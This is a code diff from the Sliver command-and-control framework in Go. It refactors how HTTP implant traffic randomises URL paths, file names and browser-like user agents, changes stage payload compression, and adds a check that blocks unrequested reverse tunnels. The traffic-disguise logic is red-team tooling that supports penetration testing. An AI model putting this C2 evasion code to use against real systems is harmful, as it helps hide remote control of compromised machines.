CloseFileExtension: pbHttpC2Config.ImplantConfig.CloseFileExtension,
|
||||
PathSegments: pathSegments,
|
||||
UserAgent: pbHttpC2Config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: pbHttpC2Config.ImplantConfig.ChromeBaseVersion,
|
||||
MacOSVersion: pbHttpC2Config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: pbHttpC2Config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: implantHeaders,
|
||||
MaxFileGen: pbHttpC2Config.ImplantConfig.MaxFileGen,
|
||||
MinFileGen: pbHttpC2Config.ImplantConfig.MinFileGen,
|
||||
MaxPathGen: pbHttpC2Config.ImplantConfig.MaxPathGen,
|
||||
MinPathGen: pbHttpC2Config.ImplantConfig.MinPathGen,
|
||||
MaxPathLength: pbHttpC2Config.ImplantConfig.MaxPathLength,
|
||||
MinPathLength: pbHttpC2Config.ImplantConfig.MinPathLength,
|
||||
Extensions: strings.Join(pbHttpC2Config.ImplantConfig.Extensions, ","),
|
||||
PathSegments: pathSegments,
|
||||
NonceQueryLength: pbHttpC2Config.ImplantConfig.NonceQueryLength,
|
||||
NonceMode: pbHttpC2Config.ImplantConfig.NonceMode,
|
||||
}
|
||||
|
||||
// C2 Config
|
||||
@@ -370,18 +360,19 @@ func RandomizeImplantConfig(h *clientpb.HTTPC2ImplantConfig, goos string, goarch
|
||||
ExtraURLParameters: h.ExtraURLParameters,
|
||||
Headers: h.Headers,
|
||||
|
||||
PollFileExtension: h.PollFileExtension,
|
||||
StartSessionFileExtension: h.StartSessionFileExtension,
|
||||
SessionFileExtension: h.SessionFileExtension,
|
||||
CloseFileExtension: h.CloseFileExtension,
|
||||
PathSegments: RandomPathSegments(h),
|
||||
UserAgent: GenerateUserAgent(goos, goarch, h.UserAgent, h.ChromeBaseVersion, h.MacOSVersion),
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
MinFiles: h.MinFiles,
|
||||
MaxFiles: h.MaxFiles,
|
||||
MinPaths: h.MinPaths,
|
||||
MaxPaths: h.MaxPaths,
|
||||
Extensions: h.Extensions,
|
||||
PathSegments: RandomPathSegments(h),
|
||||
UserAgent: GenerateUserAgent(goos, goarch, h.UserAgent, h.ChromeBaseVersion, h.MacOSVersion),
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
MinFileGen: h.MinFileGen,
|
||||
MaxFileGen: h.MaxFileGen,
|
||||
MinPathGen: h.MinPathGen,
|
||||
MaxPathGen: h.MaxPathGen,
|
||||
MinPathLength: h.MinPathLength,
|
||||
MaxPathLength: h.MaxPathLength,
|
||||
NonceQueryLength: h.NonceQueryLength,
|
||||
NonceMode: h.NonceMode,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -442,61 +433,31 @@ func MacOSVer(MacOSVersion string) string {
|
||||
func RandomPathSegments(h *clientpb.HTTPC2ImplantConfig) []*clientpb.HTTPC2PathSegment {
|
||||
|
||||
var (
|
||||
sessionPaths []*clientpb.HTTPC2PathSegment
|
||||
closePaths []*clientpb.HTTPC2PathSegment
|
||||
pollPaths []*clientpb.HTTPC2PathSegment
|
||||
sessionFiles []*clientpb.HTTPC2PathSegment
|
||||
closeFiles []*clientpb.HTTPC2PathSegment
|
||||
pollFiles []*clientpb.HTTPC2PathSegment
|
||||
paths []*clientpb.HTTPC2PathSegment
|
||||
files []*clientpb.HTTPC2PathSegment
|
||||
)
|
||||
for _, pathSegment := range h.PathSegments {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
if pathSegment.IsFile {
|
||||
pollFiles = append(pollFiles, pathSegment)
|
||||
} else {
|
||||
pollPaths = append(pollPaths, pathSegment)
|
||||
}
|
||||
case 1:
|
||||
if pathSegment.IsFile {
|
||||
sessionFiles = append(sessionFiles, pathSegment)
|
||||
} else {
|
||||
sessionPaths = append(sessionPaths, pathSegment)
|
||||
}
|
||||
case 2:
|
||||
if pathSegment.IsFile {
|
||||
closeFiles = append(closeFiles, pathSegment)
|
||||
} else {
|
||||
closePaths = append(closePaths, pathSegment)
|
||||
}
|
||||
default:
|
||||
continue
|
||||
if pathSegment.IsFile {
|
||||
files = append(files, pathSegment)
|
||||
} else {
|
||||
paths = append(paths, pathSegment)
|
||||
}
|
||||
}
|
||||
|
||||
sessionPaths = RandomPaths(sessionPaths, h.MinPaths, h.MaxPaths)
|
||||
pollPaths = RandomPaths(pollPaths, h.MinPaths, h.MaxPaths)
|
||||
closePaths = RandomPaths(closePaths, h.MinPaths, h.MaxPaths)
|
||||
|
||||
sessionFiles = RandomFiles(sessionFiles, h.MinFiles, h.MaxFiles)
|
||||
closeFiles = RandomFiles(closeFiles, h.MinFiles, h.MaxFiles)
|
||||
pollFiles = RandomFiles(pollFiles, h.MinFiles, h.MaxFiles)
|
||||
paths = RandomPaths(paths, h.MinPathGen, h.MaxPathGen)
|
||||
files = RandomFiles(files, h.MinFileGen, h.MaxFileGen)
|
||||
|
||||
var res []*clientpb.HTTPC2PathSegment
|
||||
res = append(res, sessionPaths...)
|
||||
res = append(res, closePaths...)
|
||||
res = append(res, pollPaths...)
|
||||
res = append(res, sessionFiles...)
|
||||
res = append(res, closeFiles...)
|
||||
res = append(res, pollFiles...)
|
||||
res = append(res, paths...)
|
||||
res = append(res, files...)
|
||||
return res
|
||||
}
|
||||
|
||||
func RandomFiles(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minFiles int32, maxFiles int32) []*clientpb.HTTPC2PathSegment {
|
||||
if minFiles < 1 {
|
||||
minFiles = 1
|
||||
func RandomFiles(httpC2PathSegments []*clientpb.HTTPC2PathSegment, MinFileGen int32, MaxFileGen int32) []*clientpb.HTTPC2PathSegment {
|
||||
if MinFileGen < 1 {
|
||||
MinFileGen = 1
|
||||
}
|
||||
return randomSample(httpC2PathSegments, minFiles, maxFiles)
|
||||
return randomSample(httpC2PathSegments, MinFileGen, MaxFileGen)
|
||||
}
|
||||
|
||||
func RandomPaths(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minPaths int32, maxPaths int32) []*clientpb.HTTPC2PathSegment {
|
||||
|
||||
@@ -226,9 +226,14 @@ func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte
|
||||
req := &sliverpb.TunnelData{}
|
||||
proto.Unmarshal(data, req)
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)
|
||||
if !rtunnels.Check(session.ID, remoteAddress) {
|
||||
sessionHandlerLog.Errorf("Session %s attempted to create reverse tunnel to %s without being initiated by a client", session.ID, remoteAddress)
|
||||
return nil
|
||||
}
|
||||
defer rtunnels.DeletePending(session.ID)
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
ctx, cancelContext := context.WithCancel(context.Background())
|
||||
|
||||
|
||||
@@ -62,15 +62,6 @@ func (rpc *Server) SaveHTTPC2Profile(ctx context.Context, req *clientpb.HTTPC2Co
|
||||
if req.Overwrite && req.C2Config.Name == "" {
|
||||
return nil, configs.ErrMissingC2ProfileName
|
||||
}
|
||||
err = db.SearchStageExtensions(req.C2Config.ImplantConfig.StagerFileExtension, req.C2Config.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = db.SearchStartSessionExtensions(req.C2Config.ImplantConfig.StartSessionFileExtension, req.C2Config.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
httpC2Config, err := db.LoadHTTPC2ConfigByName(req.C2Config.Name)
|
||||
if err != nil {
|
||||
|
||||
@@ -747,10 +747,11 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
|
||||
if req.PrependSize {
|
||||
fileData = prependPayloadSize(fileData)
|
||||
}
|
||||
stage2 = fileData
|
||||
|
||||
if req.Compress != "" {
|
||||
stageType = req.Compress + " - "
|
||||
stage2, err = Compress(fileData, req.Compress)
|
||||
stage2, err = Compress(stage2, req.Compress)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core/rtunnels"
|
||||
)
|
||||
|
||||
// GetRportFwdListeners - Get a list of all reverse port forwards listeners from an implant
|
||||
@@ -38,6 +39,7 @@ func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.Rport
|
||||
// StartRportfwdListener - Instruct the implant to start a reverse port forward
|
||||
func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
rtunnels.AddPending(req.Request.SessionID, req.ForwardAddress)
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
Reference in new issue
Block a user